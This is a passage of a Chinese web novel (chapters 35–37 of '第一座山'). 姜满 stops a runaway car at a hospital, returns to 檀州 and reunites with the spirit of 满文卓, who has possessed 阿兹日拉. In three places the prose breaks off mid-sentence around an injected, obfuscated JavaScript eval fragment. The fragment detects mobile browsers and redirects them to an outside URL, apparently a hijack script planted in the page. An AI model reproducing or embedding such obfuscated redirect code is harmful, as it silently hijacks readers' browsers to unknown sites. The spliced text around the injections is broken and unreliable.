此刻,姜满眼里没有薄临,也没有九黎寨的事,更没有那个仲玄、碧虚,她一向纯粹,眼下,只关注如何在不杀死任何记忆体的情况下抢人。 护灵阵是她早就已经信手拈来的阵法,片刻功夫,阵法已成,她疾步朝菌子怪老头而去,却见那老头把肩上扛着的阿兹日拉往她这儿一抛—— 姜满猝不及防,立刻伸手接住阿兹日拉。 “不给吃拉倒!老朽惜命的很!这地方有得是好吃的,老朽也不是嘴馋到不要命的!还有这人,你要你就拿走吧!老朽告……” 他说话的功夫,姜满已然反应过来,顺势把阿兹日拉扛在肩头,腾出一只手,一把揪住了正要开溜的老头衣领。 “等等!” 老头后脖领被她揪住,扭过头来,不满道:“什么都给你了,你还不肯放过老朽,你这样做事就真是说不过去了。” 姜满盯着他那双混浊无神的双眼,“你,是谁派来的?” “啊?”老头愣了愣,面上闪过的一丝惊慌,没有逃过姜满的眼睛。 “我问,你是谁派来的?”姜满的手往前抵了抵,掐住了他的后脖子,她不得不防着他再度化为一摊黑水,还要防着他喷出什么致幻烟雾。 老头被扼住后脖,发现自己竟动弹不得,不由有些慌了,“老朽不知道你在说什么……” “东西和人都给我了,你什么都不要就这么走了,你说无人指使,你自己相信吗?” “你这姑娘,好生古怪,天上掉馅饼不好?管那么多干什么?有便宜不占是傻子!况且老朽从未做过恶事!你还不放开老朽!” 老头嚷嚷着,目光却瞄向楼外。 这栋楼外面不远处是一排停车位,旁边是一个小花园,花园的凉亭正对着李妆娇的病房,花园与病房窗外的绿化之间,还有一条单行道。 此刻,单行道可能是预备修路,另一端有拉绳拦着,靠近楼入口的地方,停着一辆黄色工程车,拦住了这边的通道。 姜满自然不肯放过他,她很清楚,天上才不会莫名其妙掉馅饼,所以,现在这种感觉让她非常厌烦,好像背后有什么人在操纵一切,甚至想操纵她。 老头叹了口气,“好吧,老朽愿意告诉你,但是你自己决定要不要听。” “什么意思?” “你也看得出来,老朽不是凡人,依老朽的道行,自然也不是那化形几十年的寻常精怪,虽然老朽眼睛不好,鼻子却很灵,姑娘你眼神倒是好,但,记性未必好吧……你有没有想过,或许,你以前认得老朽呢?” 姜满不露声色地紧张了,但她没有说话,也没有动作,静静看着他。 老头笑着别过脸,看向楼栋出口,轻轻呼了一口气,然后缓慢地说道:“但是,这,都不要紧,要紧的是,对姑娘而言,到底是过去重要,还是现在重要?” 姜满狐疑地看着他。 过去重要还是现在重要?什么意思?现在…… 砰—— 一阵撞击声传来,像是汽车失控,或是错踩了油门。 姜满反应过来,脸色瞬间一变。 这就是老头说的过去和现在吗? 她立刻松开老头,扛着阿兹日拉转身就朝病房跑去。 来到病房门口,果然看见那辆原本停在楼前的黄色工程车,已然被一辆失控的黑色轿车撞开,轿车撞烂了病房窗墙,冲向病房几人。 这老妖怪,竟然还敢说他从未做过恶事! 35. 第一座山(35) 眼看着一辆车直朝病房冲过来,薄临反应及时,但也只来得及反身将薄月推离。 这边孔青还没反应过来,冲过来的姜满就把阿兹日拉丢在了他手中的轮椅上,接着一个箭步冲到薄临身旁,将他拉到怀里,揽住他的腰,另一手抵住那辆失控的轿车,即便她力气大,加上墙的阻力,她却还是连退了好几步。 姜满很清楚,她力气再大,这发了疯的车也能带来巨大的惯性,能拦住已是万幸,她不确定自己能拦到什么程度,为防止误伤薄临这个病秧子,她只能抱住他。 薄临脸色好似又白了几分,惊魂未定之下,看了看被姜满的手按出凹陷的面目全非的车头,又看向近在咫尺的姜满。 他喉头滚动,好似吓得不轻。待到姜满松开了他,他才稳下心神,缓缓摘掉了眼镜,轻捏鼻梁眉心。 姜满拍了拍手上的灰,扯开蒙住脸的手帕,“差点着了那个老妖怪的道……”她回过神来,不是差点,是已经着了道。 老头摆明就是想跑,那点幻术糊弄不了她,竟然找了个路人,也不知使了什么妖法,让车子失控…… 真是晦气,她要是会飞多好,或者会个什么瞬移之类的,可惜就连她也只在杜撰的故事里见过这种术法,足见张信德胡说八道,她可不是什么仙,不会飞的仙算哪门子的仙。 她叹了口气,看向薄临,“你没事吧?” 薄临轻轻摇头,苍白的脸上露出一丝笑容,“恩人又救我一命。” 病房内,摔倒在地的薄月怔怔地看着那辆车,像是吓呆了;孔青站在门边也有些愣神,靠窗位置病床上的李妆娇倒是睡得香甜,什么都不知道,那车也不是冲着床来的,且好在这病房够宽敞,几人都没有受伤。 姜满指了指车子和墙,看向薄临,“这……不关我们的事吧?” 薄临点点头,“动静不小,医院肯定会处理。” 正说着,病房门外冲进来几个护士和安保人员,见此情状都吓坏了,赶紧出去叫人。 此刻楼外也已经围满了人,闹哄哄的。 非正常行驶路段,私人车辆陡然失控,撞坏了工程车,轧烂了绿化,冲进病区,声响自然不小,影响也不小,事情闹得很大。 现场乱成这样,那菌子怪老头肯定早就跑没影了。 接下来,孔青安抚着已然吓坏了的薄月,然后带着她一起帮李妆娇办理出院,薄临还在应付院方,而完全不想搭理医院这边的问询与关切的姜满,推着阿兹日拉坐着的轮椅,在门诊楼外等着。 医院的人忙忙碌碌,姜满想了想,把轮椅推到了一处少有人经过的地方。 阿兹日拉还在昏睡,她缓缓把手放在他的后背灵台,仔细感受着。 是他。 不是老头的幻术,真的是他。 姜满不想轻举妄动,她松开手,走到阿兹日拉面前,蹲了下来,她的手停留在他的脸颊旁,透过这张硬朗黝黑的脸,她企图看见另一个人。 阿卓,你,还好吗? 她心里其实在暗暗庆幸,不论菌子怪老头是谁派来的,总算,解了她心头一件顶要紧的事,阿卓没有和九黎寨一起消失,虽然不知道发生了什么,但至少,他没事,他附体在阿兹日拉身上,就在她眼前,就在她身边。 薄临这边事情结束得也很快,打几个电话就解决得差不多了,唯一的小麻烦就是解释那个姜满按出来的凹陷,不过也不是什么大问题。 处理完医院这边的事,他走到门诊楼外找姜满。 远远的,他看见姜满蹲在阿兹日拉身前的模样,看得清清楚楚,甚至连她柔和关切的眼神、唇角细微的笑意……全都看进了眼里。 他垂下眼帘,心里弥漫起一股难以名状的拥堵感,有什么东西想要呼之欲出,可他不能让它跳出来,必须压抑,必须若无其事,于是,它就在心里迅速发酵,像酷暑放馊的食物,酸臭、恶心。 这一刻,他觉得自己的目力其实大可不必这么好,他应该是做人太久了,似乎体会到了薄月曾经说过的,一种名为“嫉妒”的情绪。 事实上,他早已经具备了太多人才有的情绪,这让他离他想要的完美,越来越远。 可是我的小恩人,就像你说过的,完美,该多无趣啊。 他取出她为他挑选的无度数眼镜,架在鼻梁上,神色恢复如常,朝她走去。 “我这边结束了,薄月他们也快了,等张云汉和程书韫出来,我们就可以回檀州市了。”薄临微笑着走近,把五方镜还给了姜满,随后看向轮椅上昏睡的阿兹日拉,“刚刚一直没机会问你,他……怎么会在这儿?” 姜满站了起来,接过五方镜,“我也不知道,不过,他以后要跟着我,所以,你要帮他也买张回檀州的机票。” 薄临点点头,并没有多说什么,“嗯,没有问题。”他抬眼,看见了远处推着李妆娇走来的孔青和薄月,笑了笑,又问道:“恩人,你打算怎么替姚雪菲复仇?我有什么能帮忙的吗?” 姜满想了想,看向他,“嗯,既然你这么积极想赎罪,我的确想到一个你能帮忙的主意。” “愿闻其详。” “从现在开始,所有人,我是说所有认识李妆娇的人,都要叫她,姚雪菲。” 薄临有些惊讶,“所有人?这,有点难度。” “是有点难,但是,要赎罪的也不止你一个,对吧?况且,她不是喜欢改名字吗?只是换个名字,也不算太难吧?” 薄临想了想,问道:“需要让所有人都把她当成姚雪菲吗?包括身世经历等等?” 姜满摇摇头,道:“只要叫她姚雪菲就行,就像她本来就叫姚雪菲那样,实在不行给她换张脸,我看网上说,现在整容技术很不错,对吧?也不必整得一模一样,七八分像就行。” “好。”薄临应声,看向姜满,“那接下来,回到檀州之后,你是不是就要去查那家会所了?” 姜满垂眸看向阿兹日拉,“不急,等他醒过来再决定。” 如果阿卓有什么损伤,或者受了什么胁迫,她一定会不计代价,灭了那帮什么仲玄;如果阿卓没事,那么,这些无关紧要的小角色,她何必多费心。 “嗯,那今晚七点五十五的飞机,需要改签吗?” “能带上他就不用,不行的话,就改。” “好。”薄临看向阿兹日拉,“我找找他身上是否带着证件?” 姜满点头,示意他请便。 没过多久,薄临找到了阿兹日拉外衣口袋里的证件,紧接着,张云汉的电话也打了过来,语气听起来有些低落,确定了姜满的位置后,程书韫和他一前一后的朝姜满走来。 张云汉垂着脑袋跟在程书韫身后,看他这样子,大约是程书韫和他说明白了,他的暗恋被迫终止,心里定然是不好受的,不过姜满的目光并未在他身上停留,只是有意无意地扫过程书韫的脖子。 那上面的勒痕泛青,看不出经过什么特殊的医疗处理,不过,这种伤痕想来也只有时间能治愈了…… 姜满嘴角扬起微不可见的笑意,什么也没说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916260|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 经过商量,姜满决定,由她带着阿兹日拉还有张云汉、程书韫去还租来的车,然后直接打车去机场,薄临负责包括李妆娇的另几个人,之后大家就在机场会和。 此外,由于李妆娇和阿兹日拉都处于昏迷状态,是否能上飞机,需要薄临与医生孔青解决。 阵雨过后,阳光驱散了阴霾,天空恢复蔚蓝,变得更加澄净。 这个季节的麓川天黑得很晚,但姜满几人坐上飞机的时候,天色已经完全暗了。 随着广播好听的女声播报,手机关机,不一会儿,飞机缓缓滑行,随后,飞向星河万里的夜空。 到了檀州,已经将近十二点了。 熟悉的空气让姜满多了几分好心情,机场洗手间,她一边洗手,一边透过镜子看向身旁的程书韫,“李妆娇改名字了,叫姚雪菲,别忘了。” 她的手离开了水龙头感应区,轻轻在水池里甩了甩水,然后走到一旁抽出两张纸擦手,又回过头,故作无意对程书韫道: “对了,李妆娇应该会直接被送去医院,你知道的吧,现在整容技术这么发达,除了爱美,也有很多人是为了换一种生活,下次见到她,你恐怕都认不出来了。” 程书韫看着姜满脸上的笑容,微微蹙眉。 整容? 她总觉得,姜满比她想象的还要深不可测,实际上,她很早就发现这一点了,她也早就不想再和这些人在一块,可是,她没有办法…… “怎么了?”姜满仍旧笑容满面,关切地问。 程书韫下意识捂了捂脖子,“没事,脖子有些难受。” “嗯,走吧,和我们一起回薄家。” 程书韫点点头,擦干了手,匆匆跟了上去。 在洗手间外等候的薄临,低头俯视着仍在昏睡的阿兹日拉,棒球帽和低垂的眼帘遮住了他冰冷的眼神。 张云汉和孔青去拿托运的行李了。 此刻的薄月确定周围没有旁人,拉住薄临的衣袖,低声笑道:“哥,怎么样,姜姐姐一点儿也没怀疑我——” 她注意到了薄临的目光,心里一惊,下意识松开了手。 “哥?” 薄临抬起头,朝她笑了笑,“嗯。” 他明明在笑,薄月却觉得他的笑像冷气打得很足的房间里的白炽灯,冷的没有一点温度,她知道,他不喜欢这个皮肤黝黑的小子,可是,不喜欢为什么还要送到姜姐姐面前呢? 薄临的目光落在旁边一个轮椅的李妆娇身上,“这个人还真成了麻烦,别忘了通知下去,要叫她姚雪菲。” “嗯,不过,之前我就觉得这个名字好耳熟……”薄月皱眉思索着,不一会儿,她似是想起了姚雪菲是谁,惊道:“我想起来了!姚雪菲就是那个被她害得很惨的姑娘,后来,听说自杀了!干嘛让她改名叫姚雪菲!真正的姚雪菲知道了,该觉得多恶心啊!” 薄临不置可否,“你姜姐姐要求的。”他看向洗手间门口,“还有,姚雪菲已经被超度了,她不会觉得恶心。” “既然是姜姐姐要求的……那肯定有她的理由,行吧!我们就叫她姚雪菲。” “嗯,她说,我们都要赎罪。” 薄月闻言,吐了吐舌头,“谁爱管人的事,这世上那么多人的破事,我们可管不过来,不管就是有罪吗?那每个人都有罪,你看我们下午在麓川的那场暴雨,不知道死了多少虫子。” “人,不是虫子,我们也不是什么更高等的存在。”薄临微微笑了笑,“不说了,她出来了。” 36. 第一座山(36) “被超度的怨灵,到底去了哪里……” 一个遥远的声音传来,听不真切,飘渺得如同幻听。 姜满又站在了那团灰雾之中,雾气与上次的梦境一般,不似之前,什么都看不见,却唯独能见到人影。 此刻,她看到了人形的“树”,看见了兽形的“草”,远处有仅她认为的“人”,淡淡的灰雾笼罩,给梦境镀了一层迷幻,让这个梦变得亦真亦假,若是用理智去看待它,会变得疯癫。 “他们”在等她,她知道。 可是,怎么回事? 她的肩膀很疼,疼得她几乎要站不住,疼得她无法思考,大脑一片混乱,下一瞬,无数声音蜂拥而至,在脑海里细细密密,不断回响。 “你想破除诅咒吗?” “你真的想破除诅咒吗?” “曾经的你做过这件事吗?” “你成功了吗?” “破除诅咒会怎么样?” “你真的不想成[空]吗?” “你想知道我们是谁吗?” “你想找到我们吗?” …… 姜满捂住耳朵,似是再也忍不住,烦躁地喊道:“别吵了!” 瞬间,那些七嘴八舌的声音消失了,消失得突兀且彻底,让姜满反倒有些不适应。 可她不想知道,她很确定,她既不想知道破除诅咒之后如何,也不想知道曾经的自己是否做过现在的事,更不想知道“他们”是谁。 如果这个世界还有被[空]诅咒的长生者,那么,最好还是各过各的,实在有蠢货通过那条视频……那条视频不过是说了她长生而已,关于[空]可是只字未提,即便想碰碰运气来找她,她也不会承认的。 试想一下,如果她身边真的出现了一个所谓的“同伴”,那么她和那个人迟早会变成彼此唯一的依靠,她不喜欢依靠别人,也不想成为别人的依靠。 即便不是一个,而是很多,她通过梦境,把所有人在现实中聚集起来,那么,这个梦的目的不是太明显了吗?她从不贸然去做具备明显指向性的事,而且,她并不知道为什么会有这个梦,也不知道梦里这些人,都是什么货色。 选这些人当同伴,还不如选张云汉。 她不是不想知道诅咒从何而来,她只是不想把希望放在任何充满不确定性的人身上。 事实上,她更想知道,为什么四十二年前,她杀了人,却没成[空]。 显然,没人能给她答案。 没关系,所有的答案她迟早都会找到,她也相信,[空]既然有破除之法,那一定与所谓的度三千苦厄有某种联系。 她不想成[空],更不想在这剩下的六十八年功亏一篑,只要保证百年不成[空],只要保证她已经故去的家人们能再入轮回,转世为人…… 现在的姜满或许并没有意识到,张信德告诉她的百年规则,已经逐渐成为了她的执念,尤其,在遇到满文卓的灵体之后,这种执念已经远超过破除成[空],而故去的满家人,已然成为了唯一能让她慌乱的理由。 此刻,肩膀的疼痛开始具象,是右肩,右肩有一处灼热,这灼热逐渐变成了滚烫,剧烈的灼痛袭来,她不由地捂住了右肩……对!她想起来了,她回到了檀州,现在在薄家,右肩……右肩有一瓣菊瓣印记! 姜满忽然觉得身体有些不对劲,她低头看向自己的双手,霎时间,她几乎怀疑自己眼睛出了问题。 这双手竟然如同灵的身体一般,有了透明度! 没有实化的灵? 这…… 怎么可能? 姜满想揉揉眼睛,但自己的手却碰不到脸,或者说,穿过了自己的脸,就好像是影子…… 是梦,对,现在是在梦里。 这个灰雾的梦是这样的,她能很清醒的知道这是梦。 可是……不对,这个梦变的只有梦境,她从来不变,怎么可能…… 她瞪大了双眼,却眼睁睁看着虚化逐渐蔓延到了手臂! 一种前所未有的惊恐弥漫在她的心头。 我……到底是什么东西? 恐惧从不是突如其来的,只是那个种子曾经被深埋在心底,被自己某种自以为完善的理论说服,因为她很清楚,如果动摇,如果让种子存在更多的可能性,她会变成一个疯子。 事实上,每个人都是这样,一旦对某个问题执着而较真,一定会疯。 她是什么? 仙?人?怨灵?诅咒本身?还是……某种未知? 那个死在她手中的人临死前的话,此刻不断在耳边回响: “害死他们的不是我啊!是你!你是魔鬼!是诅咒!是天煞孤星!靠近你的人都会变得不幸!哈哈哈……” 姜满跌坐在地,看着虚化的手,她心底已经开始动摇了。 难道,她真的是灵?所以能看到、能摸到;所以会给别人带来不幸;所以,是她害死了—— 忽然,有一只手握住了她虚化的手。 这只手温暖,有力。 她抬头,想看看是谁,可是她看不见。 周围那些一直存在的“人”,他们笑了,他们的嘴唇不停开合,却不知道在说些什么,她听不到。 这时,那双握住她的手似乎用力了些,然后猛地一拉—— 姜满缓缓睁开了眼睛。 透过拉得严实的窗帘仍旧可见,现在外面天光大亮,房间里没有人,她独自躺在柔软的床上,空调温度适宜,房间里有淡淡的香气,很像薄临身上的味道。 她坐了起来,门外传来了敲门声。 “门没锁。”她应了一声。 门缓缓打开,先进来的是薄临,“你睡了好久,都中午了,饿吗?要把午餐送到你房间来吗?” 姜满没有说话,目不转睛地看着薄临身后跟着进来的那个人。 阿兹日拉笑着看向姜满,手里捧着什么,朝她走近,“阿满,你终于醒了!” 姜满有些愣神,却还是不自觉伸出双手去接他捧着的东西。 她看向手心,全是白花花的核桃仁,每一瓣都好完整,上面的棕色皮也被去的干干净净,漂亮得像是精心雕琢过,新鲜的果肉飘出阵阵核桃香气,满满当当,有几颗已经装不下了,从她手心滑出,掉到了床上。 姜满怔怔地看向他,喃喃开口,“你是……阿卓?” 眼前这张属于阿兹日拉的脸,和阿卓一般黝黑,但阿卓高挺的鼻梁和脸颊上,还有些小雀斑,阿卓的眼睛要更深邃一些,眼窝深陷,眼睛大且明亮,阿卓的头发也不似眼前之人的蓬乱,阿卓留着板寸头,很短,因为他们那里的人,都留这样短的头发。 姜满有些恍惚。 明明是两张完全不同的脸,却在此刻重合了,是阿卓变成了阿兹日拉,还是阿兹日拉变成了阿卓…… “你爱吃核桃,我记得,所以这些核桃都是我一大早去买的,亲手剥好,就等你醒了给你吃呢!也不知道是不是隔年核桃,不过我尝了,味道虽和我们那儿有些不同,但也挺好吃的,你尝尝。” 阿兹日拉笑着看她,随即发觉她两个手合在一起捧着核桃仁,再腾不出手吃,于是伸手拿起一颗,送到她的嘴边。 姜满没说话,也没张嘴,只是怔怔地看着他。 隔壁房间传来开门声,受了情伤的张云汉也睡到了现在,他走到走廊伸了个懒腰,然后发现姜满的房间门打开着,便探头看了一眼,“咦?阿兹兄弟,你醒了?” 阿兹日拉没有收手,回过头来看向张云汉,笑容不减,“我不叫阿兹,我是阿卓,满文卓。” 张云汉眨眨眼。 什么玩意?阿卓?阿卓日拉?他之前记错了?满文卓,好熟悉的名字,满文卓,满……满文卓! 他终于想起来了,超度姚雪菲之前,在普渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922859|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寺巨钟上,大长老在他手心写下的七个名字,里面就有满文卓啊!可是,那不是每年清明要烧…… 薄临转身拧开一瓶矿泉水,上前递到姜满嘴边,“你刚醒,还是先喝点水吧。” 这场面…… 张云汉暗道不妙,此刻,他恨不得过去把薄临拉走,他心里很清楚,他晓得是怎么回事,薄临却不可能晓得,这会儿肯定是把这个满文卓当成那个对大长老一见钟情的阿兹日拉了。 你小子,跟一个死人争风吃醋个什么劲啊…… 姜满回过神来,垂眼看向嘴巴左边的矿泉水,又看了看右边的核桃仁。 “你们都出去吧,阿卓,你留下。” 伸到她嘴边的两只手,不约而同,都识趣的收了回来。 安静的房间除了空调出风的声音,还有阿兹日拉咀嚼核桃仁的声音,他细细品尝着这与西疆核桃的口味有所偏差的核桃仁,他的悠闲与松弛尽显在咀嚼声里,像是在炫耀胜利,显得格外刺耳。 不忍耳闻的张云汉快步走进房间,拉着薄临离开,回到了隔壁。 “薄临,我可拿你当自己人,你别说你心里没数,我可是一直在帮你说话,所以,你就老实交代吧,你是不是喜欢我们大长老?”张云汉接过薄临手里的那瓶矿泉水,坐在了床边喝了一口。 薄临看向他,眼神流露出一种疑惑,眼底却是旁人难以察觉的鄙夷。 “喜欢?”他摇摇头,“喜欢太容易了,我可以喜欢她,也可以喜欢你,还可以喜欢程书韫、薄月,或者鸟兽游鱼,甚至,我可以喜欢你手里这瓶矿泉水。” 张云汉初听他提到喜欢自己,脸色还有点不好看,直到听见薄月的名字,才明白过来,“我说的当然不是那种喜欢……所以,你已经到爱的地步了?不至于吧,大长老她也就年轻貌美,有点厉害,还有点……可是以你的身份,什么样的年轻姑娘没见过?” “爱?” 薄临低下头笑了。 多么可笑的人类,多么可笑的情感。 人,为什么一定要给某些行为定义一种情感呢?何况,用人类的情感来定义他和她之间的关系,更是可笑至极。 “你笑什么?我说中了?”张云汉抿了抿嘴,有些不安地劝说道:“兄弟,对大长老有想法不是你的错,但是,我必须劝你一句,你要是把她当成普通人,那你就错了,你不是也知道吗?她根本就不会死,你见过哪个人心跳都停了那么久还能活过来的?而且……她也不会老,你要是真动了和她白头偕老的念头……” 张云汉叹了口气,走到与姜满房间一墙之隔的墙壁面前,“我只能说这么多了,你好自为之吧!” 他把耳朵贴在墙上,试图听见隔壁都说了些什么。 薄临看着他,饶有兴致地问:“你在听什么?” “听听他们说了什么啊……对了,我都忘了告诉你。”张云汉压低声音,“这个阿兹日拉不是你知道的那个阿兹日拉了,他和你之前一样,被附身了,我猜,就是之前附在你身上那个灵,你也不必吃醋,他好像是大长老的家人,而且,不管他和大长老是什么关系,死人,没有竞争力的,你尽管无所谓,我会超度它!” “哦?”薄临笑了笑,“它就是之前附在我身上那个灵?那之前,它也用我的身体,和恩人说话了吗?” 张云汉皱皱眉,“这……好像没有,它之前不是经常夜里用你身体开车吗?不过你放心,它应该做不出什么出格的事,灵体附身,不是那么容易能控制身体——” 对啊,附在薄临身上也就罢了,这小子看着身体就不好,空有一副好身材罢了,小脸白的就差把有病写在脸上了,灵只有附于病弱之躯,才能获得掌控力,越弱越好掌控,可阿兹日拉……可是个大好男儿啊! 他咂咂嘴,正要再说什么,耳边传来了闷闷的、来自隔壁房间的说话声。 “嘘,他们说话了。” 37. 第一座山(37) 此刻,靠在枕头上的姜满看向阿兹日拉,旁边床头柜上是一堆核桃仁,香气四溢。 “你……为什么?” 她的心里是复杂的,她愧疚、不解、庆幸,亦有责怪。 为什么要离开安息之地?为什么不能静待轮回?为什么要找她?为什么会知道她在哪儿?又是为什么,能附在阿兹日拉身上? “阿满,你不想我吗?”他笑着,用阿兹日拉的脸,做出阿卓的笑容。 姜满觉得心口有些堵,鼻梁泛起丝丝酸意。 她怎么会不想?报完仇的那些日子,她几乎无时无刻不在懊悔,既然要杀,为什么不能早一点?为什么察觉危险的时候,不能保护他们? 那是她的家人啊!没有血缘关系,却对她那么好,教会她吃饭、走路、说话、认字……可,连一声道别都未曾有过,她就永远失去了他们,只因为一个可笑的理由:为了保住记忆。她失去了给自己留下美好记忆的人。 如果能重来一次,她绝不会容忍危险靠近,她一定会十分果断的,杀! “阿满,别哭,我不是回来了吗?”他的手轻轻抚在姜满的脸颊上,长满老茧的手掌,和阿卓的手,很像。 姜满并没有哭,但这句话,几乎要让她落泪。 她闭了闭眼,深吸一口气,随即目光越过阿兹日拉,看向那面墙,冷声道:“张云汉,你的耳朵,是不想要了吗?” 隔壁的张云汉:“……” 没过多久,姜满听到了隔壁传来关门声,以及走廊地毯上逐渐远去的两个人的脚步声。 良久的沉默,姜满和阿兹日拉都没有说话。 她平复心情,尽可能冷静地看向阿兹日拉,或者说,满文卓,“阿卓,你……为什么来找我?” 满文卓依旧笑着,他看向姜满的眼神很柔和,“阿满,你还是那么厉害,隔墙有耳你都能知道,就好像这世上什么都瞒不过你。” “为什么会选薄临?你附在他身上是为了来檀州找我的,对吗?你怎么会知道我在檀州?还有……阿爸阿妈他们……” 不知为何,她觉得问出自己想问的话,竟然像是要耗尽她所有的力气。 满文卓坐在了床边,声音粗糙却温和,像温暖的细沙流过指缝,“放心,他们都很好,只有我成了灵,你懂这些,你一定知道,我会成为灵,是因为我有执念,对你。” 姜满垂下眼帘,手死死扣住床单,目光颤抖,她不知道自己是怎么还能发出声音的,“你不应该成灵,你知道我不会死,我可以等你们全部转世为人,我可以等,我可以等很久很久……” “可我,不想等。” 姜满似乎再也抑制不住自己的情绪,她觉得自己的身体在发抖,“对不起,对不起……” 满文卓静静地看着近乎失控的她,半晌,他低沉的嗓音响起,“走吧,跟我回西疆,我们回家,好不好?” 姜满缓缓抬眼,她的眼睛氤氲着湿气,眼神很亮,也很茫然,“回、家?” 回家……她很想回家,可她,也害怕回家,只要回家,她就会变成真正的罪人,牢狱不能赎罪,无尽的自责与忏悔更不能……她不知道怎么面对,也不知道如何赎罪。 “对,回家,这么多年了,你不想回去看看吗?” “我……” 满文卓轻轻握住她的手,“等我们回家,我就娶你,就像之前大家说笑的那样,我是当真的,这样,就再也没人会说你不是满家人了!我们以前那个木棚子肯定不能住了,不过不要紧,我可以再搭一个,选一个有核桃树的地方,到时候,我还像从前一样,给你摘核桃,做饭,你很久没吃过我做的饭了,也不知道你现在的口味……” 他滔滔不绝地说着,姜满却不敢看他,“我……还不能走,我……答应了要找人,对,我还要找人,那个人对我有恩,叫张信德,我得找到他。” “你不想回家?” “不是的,我真的不能走,阿爸说过,答应别人的事必须得做到,你不记得了?”姜满看向他,反握住他的手,“你跟我一起,我怕别人会伤你,你在我身边,我保护你,我现在可以保护你,我和以前,我和那时候不一样了。” “那,要多久?要多久你才能找到那个人?” 姜满缓缓松开手,低声道:“不会很久的,你知道,我和别人不一样,我很厉害的。” 满文卓面含微笑地看着她,轻轻点头,“好,我等你,然后我们一起回家。” 姜满暗自松了一口气,拿起床头柜上的一颗核桃仁放进嘴里,对他笑道:“好吃,不过午饭可不能吃这个,你先下楼等我,一会儿我就过来,我们一起吃饭。” “好。” 满文卓离开房间后,姜满起身走到厕所,对着镜子。她身体微侧,左手搭在右肩头,仔细地看着镜中落在她右肩上的那一瓣黄色印记。 这东西到底是什么?竟然能对梦境中的自己产生影响,会不会预示着什么…… 姜满心里生出一种莫名的不安。 那对拦路夫妻到底是什么人?和那个碧虚又是什么关系?既然是器玄,为何冷链货车上那人又说什么仲玄?“仲”这个字……好像没什么特别的含义,难道是“重”?力量型玄人?这个印记又有什么意义?是怎么弄到她身上的? 关于梦的产生,根据她看过的许多书上所述,科学性解释是说此为人的神经系统功能下的产物,是潜意识的愿望和情感,当然也有非科学性解释,其上所说也算是一种规律性探索得出的结论。 至今,梦仍旧是人们无法完全了解与释义的一种存在。 她也一样,并不能完全了解,所以无法解释。 可灰雾梦境与其他梦不同,她也做过其他梦,灰暗悲伤的、明亮快乐的……那些梦里,她是意识不到自己在做梦的,也很少出现一模一样的场景,所以,灰雾梦境的存在,似乎更难解释,它像是[空]在她意识里留下的线索,像是一个异境空间。 如此看来,这个碧虚,似乎值得她费些精神留意一下。 只不过,不是现在。 换好衣服,姜满下楼来到了餐厅。 薄家比之前还要热闹,张云汉似乎和薄月挺聊得来,二人低声交流,表情都是十分精彩,几句话中显示出,他们在说姚雪菲的事;坐在几人对面的程书韫低着头玩着手机;阿兹日拉坐在张云汉另一侧;主位的薄临起身帮姜满拉开了凳子。 家里的阿姨很快给姜满端来碗筷,姜满坐在了程书韫身旁,靠近薄临的位置。 “孔医生呢?你现在身体怎么样?他给你检查过了吗?”姜满看向薄临,他额头上的伤口已经只剩个小疤痕了,脸色看起来还是很不好。 薄临有些意外,似乎没想到她坐下来,竟然先找他说话。 他心情莫名很好,笑着看她,“我没事,孔医生去医院了,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935887|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妆娇、对不起,一时还没改过来,姚雪菲在医院,孔医生对这些比较熟悉,会尽快请技术好的医生为她改头换面。” 薄月听到二人对话,抬起头,“孔医生可是个社恐,我们这么多人,他不会喜欢和我们在一块的。” 她像是自言自语,又像是说给姜满听的。 姜满看了她一眼,转而看向身旁的程书韫,“程姐姐,你知道姚雪菲的事了吗?” “嗯,知道一点。”程书韫有些疑惑,但还是放下手机回答了姜满。 她从不认为,姜满是会说废话的人。 在座几位,姜满看起来年纪最小,然后就是薄月,薄临大约二十五六岁的模样,张云汉应该和程书韫差不多大,都是三十岁左右,而阿兹日拉,他的证件显示,他二十八岁。 所以,听见姜满叫程书韫姐姐,薄月抬了抬头,然后垂下眼帘夹了一块肉塞进嘴里。 姜满依旧看着程书韫,“真是好险,姚雪菲明明是受害人,但差一点就酿成大错了。”说着,她的目光落在了程书韫的脖子上。 程书韫注意到她的视线,有些不自然地捂住了脖子,“我、我只是没反应过来,才被她勒住了脖子,不过,我已经没事了,脖子上也没什么感觉了。” 姜满甜甜一笑,“姐姐,你怎么知道,勒你脖子的是姚雪菲?” 程书韫愣住了,立刻回过神来,“我不知道啊,你不是说以后要叫李妆娇作姚雪菲吗?这名字乱七八糟的,我也弄混了。” 好险,要是顺着姜满的话,她知道是姚雪菲附身于李妆娇,那么,她身为道玄,不可能毫无防备就被勒住脖子的。 